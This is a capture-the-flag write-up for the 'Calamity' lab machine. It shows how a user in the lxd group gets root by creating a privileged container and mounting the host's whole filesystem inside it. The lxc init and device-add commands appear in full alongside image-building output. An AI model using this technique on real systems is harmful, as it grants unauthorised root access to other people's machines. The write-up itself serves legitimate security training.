Calamity Writeup by Booj

LXD Bypass

Or you could just bypass the above entirely and save yourself a week of buffer overflow pain.

Maybe there’s something a little odd in that group listing? Turns out lxd is installed!

I’ve written about this before, as it’s fundamentally as broken as adding someone to the docker group. This one’s less known, but surprisingly common. There goes some easy roots now it’s out of the bag.

I’ll reiterate how this works, LXD requires root level privileges to function, which is an unfortunate necessity. Normally, as a result, a user needs sudo permissions to use it. In the name of ease-of-use however, the lxd group lets a user run LXD with full privileges without having to use sudo constantly.

All users who are members of the sudo group are made members of the lxd group upon install, so normally this isn’t a major issue. However, this group can be forgotten about in the case of a CTF or hardening an install. In fact, it’s incredibly common that this is overlooked.

We firstly need an image we can create and upload. You could just grab one from here but that’s quite a hefty download. Why am I even mentioning it you may ask? Well I did that on my first try and just wanted to share the pain felt of someone resetting the box 50MB in.

Let’s avoid that and use the handy 4MB alpine image. We need to build it with the appropriate architecture, i386.

root@kali:~/Downloads# git clone https://github.com/saghul/lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Counting objects: 23, done.
remote: Total 23 (delta 0), reused 0 (delta 0), pack-reused 23
Unpacking objects: 100% (23/23), done.
root@kali:~/Downloads# cd lxd-alpine-builder/
root@kali:~/Downloads/lxd-alpine-builder# ./build.sh
bash: ./build.sh: No such file or directory
root@kali:~/Downloads/lxd-alpine-builder# ls
build-alpine  LICENSE  README.md
root@kali:~/Downloads/lxd-alpine-builder# ./build-alpine --arch=i386
Determining the latest release... v3.7
Using static apk from http://wiki.alpinelinux.org/cgi-bin/dl.cgi/v3.7/main/x86
Downloading alpine-keys-2.1-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
………………..SNIP……………………………………..
Executing busybox-1.27.2-r7.trigger
OK: 6 MiB in 16 packages
root@kali:~/Downloads/lxd-alpine-builder# ls
alpine-v3.7-i386-20180115_1743.tar.gz  build-alpine  LICENSE  README.md

Now we’ll use scp to get it over to the box.

root@kali:~/Downloads/lxd-alpine-builder# scp alpine-v3.7-i386-20180115_1743.tar.gz  xalvas@10.10.10.27:/tmp/
xalvas@10.10.10.27's password: 
alpine-v3.7-i386-20180115_1743.tar.gz                                                                                                                                            100% 2418KB 115.1KB/s   00:21    
root@kali:~/Downloads/lxd-alpine-builder#

We then create the image as below:

There are two important parts which I’ll explain:

lxc init alpine alpsarecold -c security.privileged=true

This initializes an alpine image with full security privileges. Ergo any process or action running on the device is occurring with the full privileges of the host.

xalvas@calamity:/tmp$ lxc config device add alpsarecold somedisk disk source=/ path=/mnt/root recursive=true
Device somedisk added to alpsarecold

This then creates a mount point in /mnt/root and just mounts the entire disk recursively. So this container can access anything that the host root user can access.

Let’s spawn a shell in the container.

We can read root.txt and edit any file to our hearts content!